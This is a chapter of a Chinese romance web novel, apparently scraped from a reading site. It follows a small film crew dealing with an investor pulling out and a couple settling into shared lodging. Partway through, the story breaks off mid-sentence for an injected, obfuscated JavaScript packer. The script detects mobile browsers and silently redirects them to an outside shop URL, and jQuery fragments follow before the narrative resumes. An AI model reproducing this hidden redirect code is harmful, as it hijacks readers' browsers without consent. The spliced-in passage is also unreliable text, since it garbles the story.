63. 撤资

作品:《声曼[年下]

    邵亦带乌曼因去看录像带,折敛在旁边也就顺便一起捎上了。


    邵亦把办公室门锁上,三个人偷偷摸摸看自己剧组的电影,不知道为什么偷感很重……大概是因为靠谱的大家长范略今天不在,靠谱的副导和齐羽生也不在,三个不太靠谱的家伙像擅自坐杰青导师座位的本科生。


    其实也没什么好看的,没有后期特效和配音,只有绿幕前几个人滑稽的表演,要从这些前期工作上看出成品效果实在有点艰难。


    乌曼因:“对着这玩意我一点灵感都没有,还不如看剧本小说呢。”


    邵亦很有同感地点点头。


    镜头下齐羽生在诡异地扭来扭去,时不时脸上露出深情坚毅的神色,乌曼因“嘶”了一声,抖抖身上的鸡皮疙瘩:“难道我也要这样拍吗?太可怕了吧!”


    邵亦:“你是投资人,范略肯定不会坑你的……”


    “我记得齐羽生也是投资人嗷。”


    “……”


    范略明明会平等地坑所有人。


    乌曼因又看了十来分钟,这些片段范略已经进行了粗剪,能依稀看出剧本里的模样了。她不由得兴奋了起来:“范略打算什么时候送去做特效?”


    “已经陆陆续续开始了,”邵亦咂舌,“我和范略找了好几个特效工作室,都超级贵,我们剧组的演员都是没什么名气的……我是说除了你和齐羽生之外都是没什么名气的,花在工资上的不多,但特效、真是每秒钟都在烧钱。以前听人说好莱坞大片几秒钟烧上百万,我还不信,哎,我干嘛不信?”


    剧组很多人都身兼多职,邵亦也兼任一部分财务,很清楚剧组的财务状况,每天挠头焦虑怎么省钱。


    “花在特效上总比花在明星每天208万上好吧。”乌曼因安慰邵亦。


    “这倒也是。”


    “对了,说起钱,你之前微信上和我说有人想要撤资三千万,是怎么回事?”乌曼因刚拿这事怼过她爹,但不是很清楚到底发生了什么。


    邵亦拿出手机:“就这家……凌志传媒有限公司,最开始还是找中影的关系来投资我们剧组的,不知道为啥就忽然变卦说要撤资了,弄得我又得重新开始做预算表。”


    乌曼因探头看了看,好熟悉的名字,很不祥的预感。


    上天眼查搜了一下,股东大头果然是阴魂不散的林公子。


    乌曼因理直气壮的声音弱了两度,稍微有些心虚:“如果是这位的话……没准跟我有点关系。”


    她是真不知道林云也投资过他们剧组,如果知道的话,她态度起码会……稍微好一点点,给个笑脸是没问题的,毕竟是出钱的大爹。


    但算算时间,她今天才把林云狠狠拒绝,影响不到他几天前的决策吧?


    邵亦安慰她:“没事,撤资算他们违反合同,我们起码白嫖了一百多万盒饭钱。”


    “要我问问他为什么撤资吗?”乌曼因问。


    邵亦说:“啊?无所谓啦,要说的话,剧组辞职的工作人员也不少,大家合则聚不合则散,强求不来的。没准他就是觉得投资我们没前途,不想打水漂所以及时止损呢。”


    “虽然是这么说,但我总觉得他不会这么聪明……”乌曼因觑着眼发表评论。


    折敛靠在桌上,安静地听乌曼因和邵亦聊完,才说:“我觉得可以问一下,他突然来投资我们电影,也很可疑吧?”


    折敛不惮以最恶意的想法来揣测情敌,反正说话也不要钱,坑坑情敌怎么了?


    乌曼因非常同感地点了点头:“这小子肯定不怀好意,你们都小心点,尽量找正规一点的投资。实在不行等我来解决钱的问题。”


    其实乌曼因是个性格很稳定的人,不太容易生气、也很难被挑拨,但这部电影不一样。这是她的宝贝,她从剪彩开机的第一天就在场,这是她的孩子。


    谁动《信使》,她真的会咬谁。


    ……


    “范略就让你们住这里?”乌曼因问。


    拍摄的厂房说得委婉点在“燕郊”,说得精确一点,就是在廊坊边上,没啥好的旅馆,但有居民区。


    于是范略就在居民区租了一些房,供常驻片场、离家远的工作人员使用。


    折敛打开灯,也是第一次观察未来一段时间的住宿环境,还算满意,顺便向已经脱离群众很久的女明星解释:“这里已经算好的了,大多数人住厂区的宿舍里,因为有住房补贴,而且上班近。”


    “比起宿舍那确实太好了……难怪范略说要在这段时间里拍完,再过几个月就太冷了,厂房供暖不咋的。”


    在折敛觉得乌曼因已经脱离群众很久的时候,她又非常敏锐地意识到大多数人的难处,就像她还是睡在杂物间的那个女孩。


    折敛的动作顿了一下。


    “这里离片场是有段距离……”乌曼因手撑在窗台上,望向窗外星星点点灯火的夜景,楼层不高,看不到很远的地方,突发奇想,“我和你一起住吧?”


    折敛把箱子放倒,拿出里面的铺盖开始铺床,头也没抬:“好啊。”


    太平静了,折敛应该羞涩地吓一跳,然后扭扭捏捏的说“好啊”才对。


    乌曼因:“你不问我为什么要和你一起住吗?”


    当然是因为体贴的乌曼因想起这里离片场还有一段距离,折敛每天上下班多累啊,有亲爱的小乌在,折敛就有司机了,两人可以一起上下班通勤。


    折敛说:“我们一直住一起的。”


    他拿出两个枕头,整整齐齐地摆到床上。


    折敛默认为乌曼因预留了一半的床。


    “你小子,早有预谋啊。”


    折敛没有否认,在他的世界里,情侣天然就是要住在一起的,何况他和乌曼因还是未来会结婚的关系。


    乌曼因摸了摸质量意外很好的哆来A梦床单。


    林云把她划入未来规划的时候,她只觉得烦;但是折敛默默准备好双人用品的时候,她只想满足他的期待。


    原来她是这么双标的女人吗?


    “床上用品只带了这些?”乌曼因问。


    折敛环视四周,茫然道:“我还有什么东西忘掉了吗?”


    床上四件套他都带了,女明星有什么特殊的家纺用品他不知道?


    乌曼因上前两步,踮起脚尖,贴着他带着助听器的耳廓,轻声说了一个词。


    然后她就跳着退开了,满意地看到折敛的耳尖从冷白色、到粉色、到红色。


    折敛看着她,嘴唇动了动。乌曼因猜他想说“女流氓”,但他最后也没说,眼睛闭了闭,像是下了很大的决心,说:“我去买。”


    没等乌曼因笑着张嘴,说她只是开个玩笑——折敛就拿着手机飞一般跑了出去,只留下乌曼因一个人对着“哐当”关上的大门。


    粗糙的房间里,鸦雀无声,留乌曼因和


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16580391|183197||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    床单上的哆来A梦面面相觑。


    乌曼因:“……”


    还没吸取教训吗,乌曼因,你瞧瞧你这张破嘴。


    然后她真轻轻扇了自己脸两下,然后蹲下身捂住脸,热气从掌缝里透出来。


    意外证明了折敛薛定谔的生理知识在这种情况下还是管用的。


    也不对……万一他只是买回来吹气球呢?


    可能性很小,但根据折敛过往的战绩,不为零。


    折敛冲到小区楼下,吹了夜晚的穿堂风,这才缓过神来。


    他迈动有些麻木的双腿,根据惊鸿一瞥的印象,走到街对面的市集超市里。


    他掠过花花绿绿的货架,目标很明确地径直走到收银台前。


    其实折敛脑子也是半空的,凭直觉在手机上搜自己适合什么尺码的计生用品,比对了好一会后,精准地捏起一盒超薄。


    往前走了两步,抬头看见小师弟龚工抱着旺旺大礼包和全新版益智类儿童玩具大富翁站在一旁。


    他的表情看起来比折敛还绝望。


    “师兄哈哈那么巧你也亲自出来买东西啊?”龚工语无伦次地说。


    他发誓他绝对不是故意窥探师兄私生活的。实在是晚上无聊,龚工和关公两个人在这里已经住一个多星期了,附近基本没有娱乐场所,反正明天是周日放假,耐不住寂寞的两人一拍即合,决定通宵……大富翁。


    这不巧了吗,刚好撞见奔赴向人生大和谐的师兄。


    龚工一时间不知道要不要藏起手里的0-6岁益智玩具……随即又释然了,世界的参差就是有些人在为人类的繁衍生息做贡献,有些人在玛卡巴卡。


    折敛没理他,他现在的脑容量很难应付八卦的小师弟,于是结了账抬脚就往外走。


    母胎单身的龚工第一反应是这玩意还挺贵,第二反应是连忙把手里的东西堆收银台上,追上去:“师兄,那个、男孩子在外面一定要保护好自己啊。”


    折敛:“……”


    烦死了。


    要你说,我有自己的节奏。


    ……


    也不怪龚工刻板印象。


    乌曼因长了一张很会玩的脸,又是乐队歌手出身,那能是好人吗?


    他单纯的师兄怎么可敌得过经验丰富的女妖精?


    但是龚工万万没想到,乌曼因……还真是娱乐圈中的一朵奇葩。


    身边的伙伴都非常开放的情况下,乌曼因自然不可能思想保守,成为一个情感随意的人也是自然而然的事。


    但是,随意过头了是另一个极端。乌曼因以其高度的自信,认为男朋友都是傻逼,每每被颜值吸引后,在谈心灵的阶段就飞速闹崩。


    诸如——“什么?你觉得我写的歌是这种意思?我懂,人类的分歧普遍存在。再见了,没品味的东西。”——此类的事情一再发生。


    自信的乌曼因绝不允许男朋友比自己还自信。


    两条腿的男人好找,但是长得好看、又没意识到自己好看的男人,乌曼因只见过折敛这一个。


    男人一旦意识到自己好看就变得油腻,但是似乎没有人进入折敛的世界里,于是他一直凝固着、保持着清爽干净的模样,等她来采撷。


    乌曼因抱着被子,望着墙壁上“滴答滴答”的老式时钟。


    逐渐下定决心,折敛现在就是最好最天真的年纪,过了这村就没这店了,吃到就是赚到!